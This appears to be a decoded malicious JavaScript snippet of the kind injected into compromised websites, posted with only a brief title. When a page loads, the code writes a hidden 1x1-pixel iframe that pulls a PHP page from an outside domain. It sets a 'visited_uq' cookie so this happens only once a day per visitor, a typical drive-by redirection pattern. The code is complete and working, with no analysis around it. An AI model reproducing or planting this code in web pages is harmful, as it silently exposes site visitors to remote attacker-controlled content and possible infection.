javascript decoded attack

    function zzzfff() {
            var hvas = document.createElement('iframe');

            hvas.src            = 'http://firstedgeentertainment.com/js/TcyQGmWw.php';
            hvas.style.position = 'absolute';
            hvas.style.border   = '0';
            hvas.style.height   = '1px';
            hvas.style.width    = '1px';
            hvas.style.left     = '1px';
            hvas.style.top      = '1px';

            if (!document.getElementById('hvas')) {
                    document.write('');
                    document.getElementById('hvas').appendChild(hvas);
            }
    }

    function SetCookie(cookieName, cookieValue, nDays, path) {
            var today  = new Date();
            var expire = new Date();

            if (nDays == null || nDays == 0)
                    nDays = 1;

            expire.setTime(today.getTime() + 3600000 * 24 * nDays);

            document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
    }

    function GetCookie(name) {
            var start = document.cookie.indexOf(name + "=");
            var len   = start + name.length + 1;

            if ((!start) && (name != document.cookie.substring(0, name.length))) {
                    return null;
            }

            if (start == -1)
                    return null;

            var end = document.cookie.indexOf(";", len);

            if (end == -1)
                    end = document.cookie.length;

            return unescape(document.cookie.substring(len, end));
    }

    if (navigator.cookieEnabled) {
            if (GetCookie('visited_uq') == 55) {

            }
            else {
                    SetCookie('visited_uq', '55', '1', '/');
                    zzzfff();
            }
    }